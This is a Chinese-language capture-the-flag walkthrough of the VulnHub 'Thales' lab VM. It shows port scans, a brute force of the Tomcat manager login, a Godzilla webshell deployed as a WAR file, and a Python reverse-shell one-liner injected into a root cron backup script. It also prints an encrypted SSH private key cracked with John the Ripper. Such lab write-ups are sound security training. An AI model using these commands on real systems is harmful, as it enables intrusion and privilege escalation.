靶机练习No.8 VulnHub靶场Thales

448 阅读5分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息

下载地址:

https://www.vulnhub.com/entry/thales-1,749/

难度: 简单

发布时间: 2021年10月16日

提示信息:

Description : Open your eyes and change your perspective
includes 2 flags:user.txt and root.txt.
Telegram: @machineboy141 (for any hint)
This works better with VIrtualBox rathe than VMware
译:睁开你的眼睛,改变你的视角
一共有2个flag,user.txt和root.txt


信息收集

扫描主机

nmap -sP 192.168.7.1/24

图片

扫描端口

nmap -sC -sV -p- 192.168.7.247 -oN Thales.nmap

图片

开放22和8080端口,还是先从8080端口开始

Web渗透

图片

8080端口是tomcat版本9.0.52没有可利用的信息,先做个目录扫描

gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-big.txt -u http://192.168.7.247:8080

图片

扫到一个shell目录,但是访问起来非常慢,换条路去暴破密码

密码暴破

打开burpsuite抓包,访问Manager App,输入帐号admin密码123

图片

图片

图片

这里的字符串是base64编码,解出来就是我们刚输入的admin和123,中间加:号

图片

准备暴破,将抓到的包发送到Intruder模块,并在YWRtaW46MTIz添加测试点

图片

有效载荷类型选自定义迭代器

图片

位置1填入tomcat: 为什么填tomcat因为这个默认帐号

图片

位置2加载密码字典Dict/fuzzDicts/passwordDict/Middleware/tomcat-pass.txt这个字典我忘记是群里哪位大佬分享出来的,有需要的小伙伴可以留言给我.

图片

加载后点开始攻击

图片

图片

暴破成功dG9tY2F0OnJvbGUx我们用base64解一下看密码是什么

图片

帐号tomcat密码role1,有了帐号密码就简单了,上传个webshell

先找个jsp的webshell,这里我用哥斯拉生成一个

图片

生成名为godzilla.jsp的webshell

再将godzilla压缩成zip格式

zip godzilla godzilla.jsp

图片

然后将godzilla.zip后缀名改为war

mv godzilla.zip godzilla.war

现在上传godzilla.war 在登陆后的页面里有一处可以上传部署war包的地方

图片

找到你的webshell,然后点击部署

图片

部署成功后会在管理页面上看到

图片

OK,现在我们用哥斯拉连接吧

添加目标,在URL填入靶机webshell地址

http://192.168.7.247:8080/godzilla/godzilla.jsp

有效载荷选择JavaDynamicPayload

注意密码和密钥要与你生成时填写的一样,之后点测试,出现Success则表示连接成功.

图片

添加后右键点击进入

图片

哥斯拉的终端界面太难看了,还是反弹个shell吧

kali攻击机监听4444端口

nc -lvvp 4444

哥斯拉上命令执行模块中输入python3代码反弹shell

图片

成功反弹

图片

现在切换个完整的交换shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a

图片

stty raw -echo;fg
reset
stty rows 26 columns 128

执行后就拿到完整的shell了,现在看下有什么可以提权的

在/home/thales目录下找到notes.txt文件,打开后就一段提示

图片

这是一个备份脚本,进去看看什么内容

cat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################

# What to backup. 
backup_files="/opt/tomcat/"

# Where to backup to.
dest="/var/backups"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

这个内容看上去是自动执行备份操作用的,我们修改添加反弹shell

修改后的内容

#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################

# What to backup. 
backup_files="/opt/tomcat/"
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Where to backup to.
dest="/var/backups"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

我们增加了反弹到3333端口的代码,现在kali攻击机上监听3333端口等待吧

nc -lvvp 3333

图片

果然,过了几分钟反弹回来了,并且是root权限

图片

那我们拿提示中的两个flag吧

cat /home/thales/user.txt
cat /root.txt

图片

成功拿到flag

userflag:a837c0b5d2a8a07225fd9905f5a0e9c4
rootflag:3a1c85bebf8833b0ecae900fb8598b17

虽然拿到了flag,但是感觉我少了点东西,就是tomcat提权到thales权限然后再提权到root权限这个步骤,上面操作是tomcat权限直接提到root权限了.

那我们回头看看tomcat如何提权到thales权限

在/home/thales目录下发现了.ssh目录并且里面有rs_ids和id_rsa.pub文件

图片

那就好办了,我们把他下载下来暴破

cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF

ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----

kali攻击机中将内容保存为id_rsa

暴破密码

python3 /usr/share/john/ssh2john.py id_rsa >crack.txt
john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt

轻松拿到密码

图片

现在用vodka06这个密码切换到thales帐号

图片

搞定,后面再通过修改/us/local/bin/backup.sh文件提权到root权限就不演示了.这台靶机还是很简单的.

END

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

图片